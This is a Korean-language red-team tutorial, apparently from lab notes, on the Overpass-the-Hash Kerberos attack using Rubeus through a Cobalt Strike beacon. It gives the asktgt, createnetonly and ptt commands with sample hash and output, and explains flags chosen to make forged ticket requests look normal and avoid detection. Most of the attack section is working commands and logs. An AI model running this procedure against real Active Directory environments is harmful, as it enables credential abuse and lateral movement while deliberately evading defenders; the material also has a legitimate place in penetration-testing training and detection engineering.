Overpass the Hash는 사용자의 NTLM 혹은 AES 해시를 이용하여 TGT를 요청할 수 있는 기법입니다. 이 기법을 사용하기 위해 Rubeus에는 asktgt가 있습니다.
# 알고리즘을 명시하여 Overpass the Hash 공격
beacon> execute-assembly C:\Tools\Rubeus.exe asktgt /user:<USER> /aes256(ntlm):<Hash> /nowrap /domain:<NetBIOS> /opsec
이렇게 생성한 티켓(Base64 Encoded Ticket)을 통해서 다시 한번 Pass the Ticket이 가능해집니다. Overpass the Hash 기법을 사용하게 되면 일반적인 TGT 요청과 티켓 옵션 값이 상이합니다.
일반적 TGT 요청 : 0x40810010
OtH TGT 요청 : 0x40800010
일반적인 요청과 상이한 값은 흔적을 남기게 되고 결국 은닉성에 지장을 줄 수 있습니다. Rubeus에서는 일반적 TGT 요청과 동일한 티켓 옵션을 명시하기 위해 /opsec 플래그를 제공합니다. 일반적인 TGT 요청에서는 영역 이름에 NetBIOS 이름만 들어가는 반면, OtH 기법을 통한 TGT 요청에서는 머신이 속한 도메인의 FQDN을 사용하게 됩니다. 따라서 이것 역시 /domain 플래그를 통해 NetBIOS 이름을 명시하여 탐지를 최소화 합니다.
앞서 언급한 탐지 최소화를 위한 두가지 플래그를 모두 사용한다고 하더라도, 정상적인 Kerberos 트래픽은
LSASS에서만 발생하는 반면, Rubeus는 LSASS를 건드리지 않기 때문에 비정상적 트래픽으로 보일 수 있습니다.
Practice
# 사용자 NTLM / AES256 해시를 통해 티켓 생성
[05/04 14:12:51] beacon> execute-assembly C:\Tools\Rubeus.exe asktgt /user:wiki/ntlm:9E18CD8F529EC00EE2A834418CB96E8A/nowrap
...
[*] base64(ticket.kirbi):
<Base64 Encoded Ticket>
...
# 익명 로그인 세션 생성
[05/04 14:14:06] beacon> execute-assembly C:\Tools\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:wiki /password:wiki /opsec
...
[*] Using DEV\wiki:wiki
[*] Showing process : False
[*] Username : wiki
[*] Domain : DEV
[*] Password : wiki
[+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 24876
[+] LUID : 0x5075ee
# 익명 로그인 세션에 Base64 Encoded Ticket 삽입
[05/04 14:15:33] beacon> execute-assembly C:\Tools\Rubeus.exe ptt /luid:0x5075ee /ticket:<Base64 Encoded Ticket>
...
[*] Action: Import Ticket
[*] Target LUID: 0x5075ee
[+] Ticket successfully imported!